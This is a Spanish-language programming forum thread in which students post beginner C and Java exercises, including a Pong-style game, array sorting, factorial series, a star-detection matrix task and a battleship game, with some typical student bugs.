while(c1!=13 && c2!=13)
{
setcolor(GREEN);
line(321,30,321,430);
line(319,30,319,430);


setcolor(BLUE);
rectangle(3,n,5,m);
setcolor(RED);
rectangle(635,a,637,b);

if(kbhit())
{
k=getch();

switch(k)
{
case 27:
salida();
break;

case 119:
if(n>=36)
{
goma(n,m);
n=n-6;
m=m-6;
}
break;

case 122:
if(m<=424)
{
goma(n,m);
n=n+6;
m=m+6;
}
break;

case 72:
if(a>=36)
{
del(a,b);
a=a-6;
b=b-6;
}
break;

case 80:
if(b<=424)
{
del(a,b);
a=a+6;
b=b+6;
}
break;

case 13: //EL CASE 13 IMPRIME EL TEXTO DE PAUSA
setcolor(GREEN);
outtextxy(100,240,"..::PAUSA::.. PULSA CUALQUIER TECLA PARA CONTINUAR (=';'=)");
getch();
setcolor(BLACK);
outtextxy(100,240,"..::PAUSA::.. PULSA CUALQUIER TECLA PARA CONTINUAR (=';'=)");
break;

}//llave cierre del switch
}//llave cierre del if kbhit



if(tope==1&&signo==1)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r++;
if(r%10==0)
l=l+mov;
}
if(tope==1&&signo==2)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r++;
if(r%10==0)
l=l-mov;
}

if(tope==2&&signo==1)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r--;
if(r%10==0)
l=l+mov;
}

if(tope==2&&signo==2)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r--;
if(r%10==0)
l=l-mov;
}

if(r==630 && (l>a && l<b))
{
tope=2;
mov=rand()%3+1;
signo=rand()%2+1;
}

if(r==8 && (l>n && l<m))
{
tope=1;
mov=rand()%3+1;
signo=rand()%2+1;
}

if(l>=420)
signo=2;

if(l<=40)
signo=1;

if(r==630 && (l<a || l>b))
{
c1=c1+1;
r=320;
tope=1;
mar1=mar1+13;
marcador(tope,mar1);
}

if(r==8 && (l<n || l>m))
{
c2=c2+1;
r=320;
tope=2;
mar2=mar2-13;
marcador(tope,mar2);
}

}//llave cierre del while 1=1

main();

}//llave cierre del main

Ademas de dejar orientado el codigo porqe asi todo plano no se entendia nada D: , oie y nunca supe como mover el player 1 ,xd deberia haberte hecho una funcion de ayuda por ultimo :P. y si alguien me quiere dar los puntos ami por arreglarlo se lo agradesco xD...

Mi SEgundo aporte referente a este tema :)
Hise un video de como instalar TC y ademas de como hacer correr las librerias graficas :P, sorry la calidad xd pero mi pc es un water y con suerte pude grabar xD...
El archivo contiene 2 videos, 1 de instalacion y otro de como poner las librerias graficas, y cuando compile el programa malo del socio potingano!.
Descomprimidos pesan como 40 Mb pero lo deje compirmido en 6 Mb D: .
Descargar Videos :) (http://www.mediafire.com/file/3j5tmoikemy/TurboC.rar)

Ya y les dejo el Turbo C por si no lo tienen iwal :) ( ando caritativo hoy ^^)

Descargar TC (http://www.mediafire.com/file/lixhnmmztjm/TC.rar)


xuuu.. errores??? no caxe men.. a mi me compilaba de lo mejor... lo revise incluso antes de subirlo.. pero weno,... cualkier ayuda es pa mejor... el player 1 se mueve con la "w" y la "z"... no caxo por ke no te funciono... y el codigo lo tenia ordenado wn.. la dura... seguramente el al "copy paste" keo alineado a la izqd...

weno.. se agradece tu ayuda men...

los vinos...

aa.. lo otro... recuerdas donde eran los errores ke tenia?? :S pa revisarlos :S

FxckDead
18/05/2009, 19:29
xuuu.. errores??? no caxe men.. a mi me compilaba de lo mejor... lo revise incluso antes de subirlo.. pero weno,... cualkier ayuda es pa mejor... el player 1 se mueve con la "w" y la "z"... no caxo por ke no te funciono... y el codigo lo tenia ordenado wn.. la dura... seguramente el al "copy paste" keo alineado a la izqd...

weno.. se agradece tu ayuda men...

los vinos...

aa.. lo otro... recuerdas donde eran los errores ke tenia?? :S pa revisarlos :S

salen en el video :), peroo era un error de variables, qe estaba mal declarada le faltaba una "," y el otro error era porqe no se iniciaban correctamente los graficos, ahi faltaba "gmode = DETECT" y la parte de los bgi (Nuevamente la faltan unas weas D: qiza el foro se las saca) debia qedar asi initgraph (&gdriver,&gmode,"C:\\TC\\BGI");

_nyuu_
24/05/2009, 15:47
tururu
holi
vengo a postear un programilla sencillo

http://img198.**************/img198/5548/sumatoria1.jpg

#include <stdio.h>

int i,s, sf=0,p,a,n;

main()
{
do
{
printf( "\n Ingrese un valor para N : ");
scanf("%d", &n);
}
while (n<0);
for(i=1; i<=n; i++)
{
p=1,a=1, s=0;
while( a<=i)
{
p=p*i;
s=s+p;
a=a+1;
}
sf=sf+s;
}


printf("\n El Resultado de la sumatoria es: %d ", sf);


getchar(); getchar();
}




Bueno Aqui ordena un vector y muestra el elemento mayoritario
el vector es de dimension 10

#include <stdio.h>
int v[10],i,n,con=0,j,temp;
main()
{
for(i=0;i<10;i++)
{
printf("Ingrese numero del vector[%d]: ",i);
scanf("%d",&v[i]);
}
for(i=0; i<10;i++)
{
for(j=0;j<10;j++)
{
if (v [i]< v[j])
{
temp= v[j];
v[j]= v[i];
v[i]=temp;
}
}
}
printf("\n");
printf (" el vector ordenado es : ");
for (i=0; i<10;i++)
{
printf(" %d", v[i]);
}
printf( "\n" );
for(i=0;i<=(10/2);i++)
{
con=0;
for(j=0;j<10;j++)
{
if(v[i]==v[j])
{
con=con+1;
}

}
}
printf ("\n");
if(con>(10/2))
{
printf("el numero mayoritario en el vector es %d\n",v[i]);
}
else
printf("\n no existe elemento mayoritario!");
getchar();getchar();
}

shArck
13/06/2009, 03:45
danny te falto postear este de la tarea xD!, no habia cachao este topic antes >.<, loka ociosa 10k de post hawhahw, ubb presente! go jamaik ^^;
Enunciado

I) Problema “Observatorio Astronómico”
En un observatorio astronómico se reciben las señales de la intensidad luminosa de los distintos lugares del cosmos. La información de cada una de las señales luminosas que es detectada por el observatorio, es almacenada en una matriz que representa una región del cosmos, donde cada elemento de la matriz representa la cantidad de luz procedente de la porción de la imagen correspondiente. El rango de intensidad de la luz varía entre 0 y 1 (desde la oscuridad absoluta hasta la luz emitida por una estrella observable a simple vista). Se puede suponer la existencia de una estrella en el área correspondiente a un elemento de la matriz cuando la suma de la intensidad de la luz correspondiente al elemento más el promedio de los elementos adyacentes a él, es mayor o igual a 0,6

Se tiene una matriz declarada por

float matriz[500][500];

Desarrolle un programa en C para determinar la posición de las posibles estrellas encontradas




Los datos se encuentran almacenados en un archivo, el cual debe ser leido por su programa. Por ello, se deberán considerar las siguientes instrucciones al comienzo del programa, para poder leer los datos correspondientes de la matriz:



#include<stdio.h>
main(){
float matriz[500][500];
FILE *arch;
int i,j;
if ( (arch=fopen("matriz.dat","r") ) == NULL){
printf("No se pudo abrir el archivo\n");
}
else {
for (i=0;i<500;i++)
for (j=0; j<500;j++)
fscanf(arch, "%f", &matriz[i][j]);
fclose(arch);
}

y el codigo;

#include<stdio.h>
#include<stdlib.h>
#include<conio.h>
#define MAX 499
#define MIN 0

void cal_promedio(int fil, int col);
float matriz[500][500],x=0.6; /*aca se calcula si es mayor que 0.6*/
float suma=0,promedio=0;

main(){

FILE *arch;
int i,j;
if ( (arch=fopen("matriz.txt","r") ) == NULL){ /*acá abrimos el archimo matriz.txt*/
printf("No se pudo abrir el archivo\n");
}
else {
for (i=0;i<500;i++){ /*acá leemos la matriz*/
for (j=0; j<500;j++){
fscanf(arch, "%f", &matriz[i][j]);
}
}
fclose(arch);

for (i=0;i<500;i++){
for (j=0; j<500;j++){

cal_promedio(i,j);
}
}

}
}

void cal_promedio(int fil, int col)
{

if(fil==MIN){
if(col==MIN){
promedio=(matriz[fil+1][col]+matriz[fil][col+1]+matriz[fil+1][col+1])/3;
}
else if(col==MAX){
promedio=(matriz[fil+1][col]+matriz[fil][col-1]+matriz[fil+1][col-1])/3;
}
else if((col>MIN)&&(col<MAX)){
promedio=(matriz[fil][col-1]+matriz[fil+1][col-1]+matriz[fil+1][col]+matriz[fil][col+1]+matriz[fil+1][col+1])/5;
}
}

else if(fil==MAX){
if(col==MIN){
promedio=(matriz[fil-1][col]+matriz[fil-1][col+11]+matriz[fil][col+1])/3;
}
else if(col==MAX){
promedio=(matriz[fil-1][col]+matriz[fil][col-1]+matriz[fil-1][col-1])/3;
}
else{
promedio=(matriz[fil][col-1]+matriz[fil-1][col-1]+matriz[fil-1][col]+matriz[fil-1][col+1]+matriz[fil][col+1])/5;
}
}
else if((fil>MIN)&&(fil<MAX)){
if(col==MIN){
promedio=(matriz[fil-1][col]+matriz[fil+1][col]+matriz[fil-1][col+1]+matriz[fil][col+1]+matriz[fil+1][col+1])/5;
}
else if(col==MAX){
promedio=(matriz[fil-1][col]+matriz[fil-1][col-1]+matriz[fil][col-1]+matriz[fil+1][col-1]+matriz[fil+1][col])/5;
}
else{
promedio=(matriz[fil-1][col-1]+matriz[fil][col-1]+matriz[fil+1][col-1]+matriz[fil-1][col]+matriz[fil+1][col]+matriz[fil-1][col+1]+matriz[fil][col+1]+matriz[fil+1][col+1])/8;
}
}


suma=matriz[fil][col]+promedio;
if(suma>=x){
printf("[%d][%d] %f + %f Es una estrella ===> %f", fil, col,matriz[fil][col],promedio,suma);
system("pause");
}


}

saludos

shArck
13/06/2009, 03:48
hallar la sumatoria de: 2! + 4! + 6! + 8! + ...

#include <stdio.h>
#include <conio.h>
int facto (int x)
{
int f=1;
for (int i=1;i<=x;i++)
{f=f*i;}
return (f);
}

int main ()
{
int n, serie=2, suma=0;
printf ("Inserte cantidad de terminos a generar: "); scanf ("%d",&n);
for (int i=1;i<=n;i++)
{
printf ("%d! + ",serie);
suma=suma+(facto(serie));
serie=serie+2;
}
printf (" = %d",suma);
getch();
}

shArck
13/06/2009, 03:50
Dado el vector T de tamao n. Si el tamaño es par invertir los elementos de la mitad de los elementos
Ejemplo: v=[1][2][3][4][5][6] v(invertido)=[3][2][1][6][5][4]


#include<stdio.h>
#include<conio.h>

void llenar (int V [], int d)
{
for (int i = 1 ; i <= d ; i++)
{
printf ("Inserte pos.[%d]: ",i);
scanf("%d",&V[i]);
}
}

void mostrar (int V [], int d)
{
for (int i = 1 ; i <= d ; i++)
{
printf ("[%d]",V[i]);
}
}

void invierte (int V [], int d)
{
int aux1;
int fin1 = d / 2;
for (int i = 1 ; i <= (d / 2) / 2 ; i++)
{
aux1 = V [i];
V [i] = V [fin1];
V [fin1] = aux1;
fin1--;
}

fin1 = d;
for (int j = (d / 2) + 1 ; j <= (d / 2) + 1 ; j++)
{
aux1 = V [j];
V [j] = V [fin1];
V [fin1] = aux1;
fin1--;
}
}

int main ()
{
int V[20];
int d;
printf ("Inserte dimen. del vector: "); scanf("%d",&d);
llenar (V, d);
printf ("\nVECTOR ORIGINAL: \n");
mostrar (V, d);
printf ("\n\nVECTOR LUEGO DE LA INVERSION: \n");
invierte (V, d);
mostrar (V, d);
getch();
}

shArck
13/06/2009, 03:51
Dado un polinomio evualuarlo en el punto x (todo en un vector)


#include <stdio.h>
#include <conio.h>

void llenar (int V[20], int d)
{
for (int i = 1 ; i <= d ; i++)
{
printf ("Inserte pos.[%d]: ",i);
scanf("%d",&V[i]);
}
}

void mostrar (int V[20], int d)
{
for (int i = 1 ; i <= d ; i++)
{
printf ("[%d]",V[i]);
}
}

int potencia (int b, int e)
{
int p = 1;
for (int i = 1 ; i <= e ; i++)
{
p = p * b;
}
return (p);
}

void evalua (int V [], int d, int x)
{
int s = 0;
for (int i = 1 ; i <= d ; i += 2)
{
s = s + (V [i] * potencia (x, V [i + 1]));
}
printf("\n\nX es igual a: %d",s);
}

int main ()
{
int V[20];
int d, x;
printf("Inserte dimen. del vector: ");
scanf("%d",&d);
printf ("Inserte valor de (x): ");
scanf("%d",&x);
llenar (V, d);
printf("\nVECTOR: ");
mostrar (V, d);
evalua (V, d, x);
getch();
}

_nyuu_
15/06/2009, 14:25
jajaja xD quien eri?
xD!

=)

Vi.k.ap
19/06/2009, 20:29
cuenta palabras separadas por , ; . o espacios eso si solo una de esas cosas ejemplo si ingresas una cadena separada por espacios : hola mundo te dira dos palabras o hola,mundo o hola;mundo dos palabras y eso xDDDDDDDD aaa y si kieren cambian el tamaño del arreglo #include <stdio.h>
#include <string.h>
int palabras(char*);//declaracion funcion que cuenta palabras

main(){
int contador,i;
char pal[200];
printf("Ingresa palabras separadas por espacios,puntos,comas o punto\n"); //ingreso de texto para evaluar cantidad de palabras
fgets(pal,200,stdin);
contador=palabras(pal);
printf(" %d palabras encontradas \n", contador);



}


int palabras (char pal[])//funcion para contar palabras
{
int i,contador=1;

for (i=0; i<strlen(pal); i++){

if (pal[i]=='.'||pal[i]==','||pal[i]==';'||pal[i]==' ')

contador++;


}
return contador;
}

Fuenzazbk
12/07/2009, 00:20
Aka les dejo una especie de base de datos
sencillo......crea un documento de texto con
la infomacion ingresada. Se utiliza ficheros o archivo.

#include<stdio.h>
#include<stdlib.h>
main()
{
char nombre[15];
char apellido[20];
int edad;
FILE*archivo;

printf("Ingrese nombre: ");
scanf("%s", &nombre);
printf("\nIngrese apellido: ");
scanf("%s", &apellido);
printf("\nIngrese edad: ");
scanf("%d", &edad);

archivo=fopen("Datos.txt","a");
fprintf(archivo,"%s" "\n%s" "\n%d", nombre, apellido, edad);
fprintf(archivo,"\n\n");
fclose(archivo);

system("pause");
}

shorypan
12/07/2009, 04:22
algoritmo backtracking

este programa crea todas las permutaciones posibles de la cantidad de numeros que le ingresas

ejemplo : si ingresas un 2 .... el programa entrega 1,2 y 2,1

#include <stdio.h>

#define TRUE 1
#define FALSE 0

#define NMAX 100

void procesar_solucion(int a[], int k) {
int i;
printf("{");
for (i=1; i<=k; i++) {
printf(" %d",a[i]);
}
printf(" }\n");
}


void backtrack(int a[], int k, int n) {
int ncandidatos, i;
int candidatos[NMAX];
int ya_esta[NMAX];

if (k == n) {
procesar_solucion(a,k);
}
else {
k = k+1;

/* Construye lista de candidatos para el backtracking */
for (i=1; i<NMAX; i++)
ya_esta[i] = FALSE;
for (i=1; i<k; i++)
ya_esta[a[i]] = TRUE;
ncandidatos = 0;
for (i=1; i<=n; i++) {
if (!ya_esta[i]) {
candidatos[ncandidatos] = i;
ncandidatos++;
}
}

for (i=0; i<ncandidatos; i++) {
a[k] = candidatos[i];
backtrack(a,k,n);
}
}
}

main() {
int a[NMAX];
int n;

printf("ingrese n:");
scanf("%d", &n);
backtrack(a,0,n);
}

Darkzero.Style
12/07/2009, 23:18
/*Verificador de año bisiesto*/
#include <stdio.h>
#include <conio.h>

main ()
{
int year;

clrscr();
printf ("\nVerificador de a¤o bisiesto.");
printf ("\n----------- -- --- ---------");
printf ("\nIngrese el a¤o a consultar :");
scanf ("%d",&year);
if (year%4==0 && year%100!=0 || year%400==0)
printf ("\nEl a¤o es bisiesto");
else
printf ("\nEl a¤o no es bisiesto");

getchar();
getchar();
return(0);


}

aronarr
13/07/2009, 21:31
YA AQI LES DEJO UN PROGRAMA EN C PARA SACAR PROMEDIOS XD..


#include <stdio.h>
#include<conio.h>
prom(int acum,int x); /*el nombre de la funcion*/

void main()
{
int c=0,x,des=0,n,acum=0,nota;
printf("ingrece numero de notas""\n");
scanf("%d",&x); /*ingreso de las notas*/
do
{
do
{
clrscr(); /*esto hace q cuando imprime un resultado salga en una pagina limpia o algo asi*/
if(c==1)printf("error""\n"); /*esto es por si el usuario ingreso un numero q no esta dentro del rango de notas*/
else printf("ingrece nota de 1.0 a 7.0 sin puntos""\n");
scanf("%d",&n);
c=1;
}
while(n<0||n>70) /*validacio de notas*/
acum=acum+n; */sumas las notas*/
des++; /*cuenta las notas*/
c=0;
}
while(des<x);
nota=prom(acum,x); /*llamado a la funcion*/
printf("su promedio es \n %d",nota);
}


prom(int acum, int x) /*funcion*/
{
int pro;
pro=acum/x; /*saca el promedio*/
return (pro);
}
:zippynana: /*espero le sirva a alguien*/

maxuk!!
16/07/2009, 04:06
serie fibonacci en java
20 primeros numeros

package fibo;
import java.io.*;

public class fibo {

/*by maxuk*/
public static void main(String[] args) {
int i,n=1,n2=1;



try
{

System.out.println (n);

for (i=1 ; i<20 ; i++)
{
System.out.println(n2);
n2 = n2+n;
n = n2 - n;
}


}
catch (Exception e)
{
System.out.print("error");
}
}

}

invertir un numero

package invertido;
import java.io.*;
public class invertido {
/*by maxuk */
public static void main(String[] args) {
int n,nume,res,invert=0;

BufferedReader num = new BufferedReader (new InputStreamReader(System.in));

try
{
do
{ System.out.print(" ingrese un numero: ");
n = Integer.parseInt (num.readLine());
}
while (n<=9 || n>99999);
nume=n;
while (nume>0)
{
res = nume%10;
nume = nume/10;

invert = invert * 10 + res;

}

System.out.print(" el numero "+n+" invertido quedaria como "+invert);

}
catch (Exception e)
{ System.out.print("error");
}
}
}


ojala a alguien le sea util
saludos

Vi.k.ap
17/07/2009, 22:40
el naval combat en c
#include<stdio.h>
#include<stdlib.h>
#include<time.h>


//Funcion principal
main()
{
int i, j,opcion;
char p1[12][12],p2[12][12],p3[12][12];

printf("[1] jugar\n");
printf("[2]ayuda\n");
scanf("%d",&opcion);


if(opcion>2||opcion<1) printf("no corresponde\n");
if(opcion==2){

printf("[1] juegar\n");
scanf("%d",&opcion);
}
if(opcion>2||opcion<1) printf("no corresponde\n");
if(opcion==1){
for(i=0;i<12;i++){
for(j=0;j<12;j++){
p1[i][j]='*';
p2[i][j]='*';
p3[i][j]='*';
}
}
for(i=0;i<10;i++){
printf("\n");
for(j=0;j<10;j++){
printf("%c\t",p3[i][j]);}

}


ingresa(p1,p2);
juego(p1,p2,p3);
}
printf("Fin del juego\n");
}//fin funcion

//funcion de Ingreso
ingresa(char p1[10][10], char p2[10][10]){
int i,j,cord1,cord2,comienzo=0,aux1=5,aux2=5,porta=5,a cora=4,fragat=3,sub=3,reco=2;
printf("\ningrese PortaAviones\n\n");
while(porta>0){
printf("Ingrese la pocision \n");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]!='*'){
printf("la posicion ya existe\n");
}
else{
p1[cord1][cord2]='p';
porta--;
printf("ingresado\n");}



for(i=0;i<10;i++){
printf("\n");
for(j=0;j<10;j++){
printf("%c\t",p1[i][j]);}}



}
printf("ingrese Acorazado\n");
while(acora>0){
printf("Insert position \n");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]=='*'){
p1[cord1][cord2]='a';
acora--;
printf("ingresado %d,%d\n", cord1,cord2);
}
else printf("posicion ya existe\n");
for(i=0;i<10;i++){
printf("\n");
for(j=0;j<10;j++){
printf("%c\t",p1[i][j]);}}
}


printf("ingrese Fragata\n");
while(fragat>0){
printf("Insert position \n\n");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]=='*'){
p1[cord1][cord2]='f';
fragat--;
printf("ingresado %d,%d\n", cord1,cord2);
}
else printf("posicion ya existe\n");
for(i=0;i<10;i++){
printf("\n");
for(j=0;j<10;j++){
printf("%c\t",p1[i][j]);}}
}



printf("ingrese submarino\n");
while(sub>0){
printf("Insert position \n");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]=='*'){
p1[cord1][cord2]='s';
sub--;
printf("ingresado %d,%d\n", cord1,cord2);
}
else printf("posicion ya existe\n");
for(i=0;i<10;i++){

for(j=0;j<10;j++){
printf("%c\t",p1[i][j]);}
printf("\n");}
}
printf("ingrese ingrese patrulla de reconocimiento\n");
while(reco>0){
printf("Insert position \n");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]=='*'){
p1[cord1][cord2]='r';
reco--;
printf("ingresado %d,%d\n", cord1,cord2);
}
else printf("posicion ya existe\n");
for(i=0;i<10;i++){
printf("\n");
for(j=0;j<10;j++){
printf("%c\t",p1[i][j]);}}
}

//definicion
porta=5;
acora=4;
fragat=3;
sub=3;
reco=2;

while(porta>0){
cord1=rand()%5+2;
cord2=rand()%5+2;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='p';
porta--;
}
else printf("leyendo\n");
}



while(acora>0){
cord1=rand()%6+3;
cord2=rand()%6+3;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='a';
acora--;
}
else printf("loading\n");
}


while(fragat>0){
cord1=rand()%8+3;
cord2=rand()%8+3;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='f';
fragat--;

}
else printf("loading\n");
}


while(sub>0){
cord1=rand()%3+1;
cord2=rand()%3+1;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='s';
sub--;

}
else printf("loading\n");
}

printf("\n\tPC posicionado!!\n\n");
while(reco>0){
cord1=rand()%2;
cord2=rand()%2;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='r';
reco--;

}
else printf("loading\n");
}

}






//Funcion del Juego
juego(char p1[10][10], char p2[10][10],char p3[10][10])
{
int i,j,naves1=5,naves2=5,aux=1,cord1,cord2,end=0;
int Port1=5,Port2=2,Acora1=4,Acora2=4,Fra1=3,Fra2=3,Su b1=3,Sub2=3,Re1=2,Re2=2;


system ("clear");
printf("\t\nComenzando EL juego...\n\n");
while(end==0){
while(aux!=0){
printf("\tJUGADOR 1...Naves Player1: %d\n", naves1);
if(Port1<3&&Port1>1) printf("\t(aviso)Porta Aviones en peligro\n");
if(Acora1<3&&Acora1>1) printf("\t(Atencion)Acorazado en peligro\n");
if(Fra1<3&&Fra1>1) printf("(WARNING)Fragata Dañada\n");
if(Sub1<3&&Sub1>1) printf("(Warning)SubMarino Dañado\n");
if(Fra1<2&&Fra1>0) printf("(Warning)Patrulla estado Critico\n");
printf("\t\tNaves enemigas en campo: %d\n", naves2);

for(i=0;i<10;i++){
for(j=0;j<10;j++){
printf("%c\t",p3[i][j]);}
printf("\n");
}



printf("Ataque a su enemigo: disponga coordenadas\a\n");
scanf("%d,%d", &cord1,&cord2 );
system ("clear");
if(p2[cord1][cord2]!='*'){
printf("(Estado)\t reached target %d,%d\n\a\a", cord1,cord2);
printf("\t\t(AVISO)Juegas Otra vez!!\n");
if(p2[cord1][cord2]=='p'){ printf("\tPorta aviones da?ado\n");
p3[cord1][cord2]='P';
Port2--;
}
if(p2[cord1][cord2]=='a'){ printf("\tacorazado da?ado\n");
p3[cord1][cord2]='A';
Acora2--;}
if(p2[cord1][cord2]=='f'){ printf("\tFragata aviones da?ada\n");
p3[cord1][cord2]='F';
Fra2--; }
if(p2[cord1][cord2]=='s'){ printf("\tSubMarino aviones da?ado\n");
p3[cord1][cord2]='S';
Sub2--;}
if(p2[cord1][cord2]=='r'){ printf("\tPatrulla da?ada\n");
p3[cord1][cord2]='R';
Re2--;}
}
else{ printf("(Estado)\tlost Target\n");
aux=0;
p3[cord1][cord2]='x';}

}

for(i=0;i<10;i++){
for(j=0;j<10;j++){
printf("%c\t",p3[i][j]);}
printf("\n");
}


if(Port2==0){naves2=naves2-1;
Port2++;}
if(Acora2==0){naves2=naves2-1;
Port2++;}
if(Fra2==0){naves2=naves2-1;
Fra2++;}
if(Sub2==0){naves2=naves2-1;
Sub2++;}
if(Re2==0){naves2=naves2-1;
Re2++;}
//PC
aux=1;

while(aux!=0){

printf("turno de PC...\n(Estado)::Jugando...\n\a");
cord1=rand()%9;
cord2=rand()%9;
if(p1[cord1][cord2]!='*'){
printf("\t PC reached target %d,%d\n\a", cord1,cord2);
if(p1[cord1][cord2]=='p'){ printf("\tAlcanza un Porta Aviones\n\a");
p3[cord1][cord2]='p';
Port1--; }
if(p1[cord1][cord2]=='a'){ printf("\tALcanza un Acorazado\n\a");
p3[cord1][cord2]='a';
Acora1--;}
if(p1[cord1][cord2]=='f'){ printf("\tALcanza una fragata\n");
p3[cord1][cord2]='f';
Fra1--; }
if(p1[cord1][cord2]=='s'){ printf("\tSubMarino alzanzado\n\a");
p3[cord1][cord2]='s';
Sub1--;}
if(p1[cord1][cord2]=='r'){ printf("\tPatrulla Alcamzada\a\n");
p3[cord1][cord2]='r';
Re1--; }
}
else{ printf("\t(Estado)PC::lost Target::\n");
aux=0;
p3[cord1][cord2]='O';}

}


if(Port1==0){naves1=naves1-1;
Port1++;}
if(Acora1==0){naves1=naves1-1;
Port1++;}
if(Fra1==0){naves1=naves1-1;
Fra1++;}
if(Sub1==0){naves1=naves1-1;
Sub1++;}
if(Re1==0){naves1=naves1-1;
Re1++;}


aux=1;

if(naves1==0||naves2==0) end=1;
}
if(naves1==0) printf("\n\tGana Jugador PC\n");
if(naves2==0) printf("\n\tGana Jugador 1, Congratulations\n");
}

BlacK
18/07/2009, 01:05
!nK;6147646']el naval combat en c
#include<stdio.h>
#include<stdlib.h>
#include<time.h>


//Funcion principal
main()
{
int i, j,opcion;
char p1[12][12],p2[12][12],p3[12][12];

printf("[1] jugarn");
printf("[2]ayudan");
scanf("%d",&opcion);


if(opcion>2||opcion<1) printf("no corresponden");
if(opcion==2){

printf("[1] juegarn");
scanf("%d",&opcion);
}
if(opcion>2||opcion<1) printf("no corresponden");
if(opcion==1){
for(i=0;i<12;i++){
for(j=0;j<12;j++){
p1[i][j]='*';
p2[i][j]='*';
p3[i][j]='*';
}
}
for(i=0;i<10;i++){
printf("n");
for(j=0;j<10;j++){
printf("%ct",p3[i][j]);}

}


ingresa(p1,p2);
juego(p1,p2,p3);
}
printf("Fin del juegon");
}//fin funcion

//funcion de Ingreso
ingresa(char p1[10][10], char p2[10][10]){
int i,j,cord1,cord2,comienzo=0,aux1=5,aux2=5,porta=5,a cora=4,fragat=3,sub=3,reco=2;
printf("ningrese PortaAvionesnn");
while(porta>0){
printf("Ingrese la pocision n");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]!='*'){
printf("la posicion ya existen");
}
else{
p1[cord1][cord2]='p';
porta--;
printf("ingresadon");}



for(i=0;i<10;i++){
printf("n");
for(j=0;j<10;j++){
printf("%ct",p1[i][j]);}}



}
printf("ingrese Acorazadon");
while(acora>0){
printf("Insert position n");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]=='*'){
p1[cord1][cord2]='a';
acora--;
printf("ingresado %d,%dn", cord1,cord2);
}
else printf("posicion ya existen");
for(i=0;i<10;i++){
printf("n");
for(j=0;j<10;j++){
printf("%ct",p1[i][j]);}}
}


printf("ingrese Fragatan");
while(fragat>0){
printf("Insert position nn");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]=='*'){
p1[cord1][cord2]='f';
fragat--;
printf("ingresado %d,%dn", cord1,cord2);
}
else printf("posicion ya existen");
for(i=0;i<10;i++){
printf("n");
for(j=0;j<10;j++){
printf("%ct",p1[i][j]);}}
}



printf("ingrese submarinon");
while(sub>0){
printf("Insert position n");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]=='*'){
p1[cord1][cord2]='s';
sub--;
printf("ingresado %d,%dn", cord1,cord2);
}
else printf("posicion ya existen");
for(i=0;i<10;i++){

for(j=0;j<10;j++){
printf("%ct",p1[i][j]);}
printf("n");}
}
printf("ingrese ingrese patrulla de reconocimienton");
while(reco>0){
printf("Insert position n");
scanf("%d,%d",&cord1,&cord2);
if(p1[cord1][cord2]=='*'){
p1[cord1][cord2]='r';
reco--;
printf("ingresado %d,%dn", cord1,cord2);
}
else printf("posicion ya existen");
for(i=0;i<10;i++){
printf("n");
for(j=0;j<10;j++){
printf("%ct",p1[i][j]);}}
}

//definicion
porta=5;
acora=4;
fragat=3;
sub=3;
reco=2;

while(porta>0){
cord1=rand()%5+2;
cord2=rand()%5+2;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='p';
porta--;
}
else printf("leyendon");
}



while(acora>0){
cord1=rand()%6+3;
cord2=rand()%6+3;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='a';
acora--;
}
else printf("loadingn");
}


while(fragat>0){
cord1=rand()%8+3;
cord2=rand()%8+3;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='f';
fragat--;

}
else printf("loadingn");
}


while(sub>0){
cord1=rand()%3+1;
cord2=rand()%3+1;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='s';
sub--;

}
else printf("loadingn");
}

printf("ntPC posicionado!!nn");
while(reco>0){
cord1=rand()%2;
cord2=rand()%2;
if(p2[cord1][cord2]=='*'){
p2[cord1][cord2]='r';
reco--;

}
else printf("loadingn");
}

}






//Funcion del Juego
juego(char p1[10][10], char p2[10][10],char p3[10][10])
{
int i,j,naves1=5,naves2=5,aux=1,cord1,cord2,end=0;
int Port1=5,Port2=2,Acora1=4,Acora2=4,Fra1=3,Fra2=3,Su b1=3,Sub2=3,Re1=2,Re2=2;


system ("clear");
printf("tnComenzando EL juego...nn");
while(end==0){
while(aux!=0){
printf("tJUGADOR 1...Naves Player1: %dn", naves1);
if(Port1<3&&Port1>1) printf("t(aviso)Porta Aviones en peligron");
if(Acora1<3&&Acora1>1) printf("t(Atencion)Acorazado en peligron");
if(Fra1<3&&Fra1>1) printf("(WARNING)Fragata Dañadan");
if(Sub1<3&&Sub1>1) printf("(Warning)SubMarino Dañadon");
if(Fra1<2&&Fra1>0) printf("(Warning)Patrulla estado Criticon");
printf("ttNaves enemigas en campo: %dn", naves2);

for(i=0;i<10;i++){
for(j=0;j<10;j++){
printf("%ct",p3[i][j]);}
printf("n");
}



printf("Ataque a su enemigo: disponga coordenadasan");
scanf("%d,%d", &cord1,&cord2 );
system ("clear");
if(p2[cord1][cord2]!='*'){
printf("(Estado)t reached target %d,%dnaa", cord1,cord2);
printf("tt(AVISO)Juegas Otra vez!!n");
if(p2[cord1][cord2]=='p'){ printf("tPorta aviones da?adon");
p3[cord1][cord2]='P';
Port2--;
}
if(p2[cord1][cord2]=='a'){ printf("tacorazado da?adon");
p3[cord1][cord2]='A';
Acora2--;}
if(p2[cord1][cord2]=='f'){ printf("tFragata aviones da?adan");
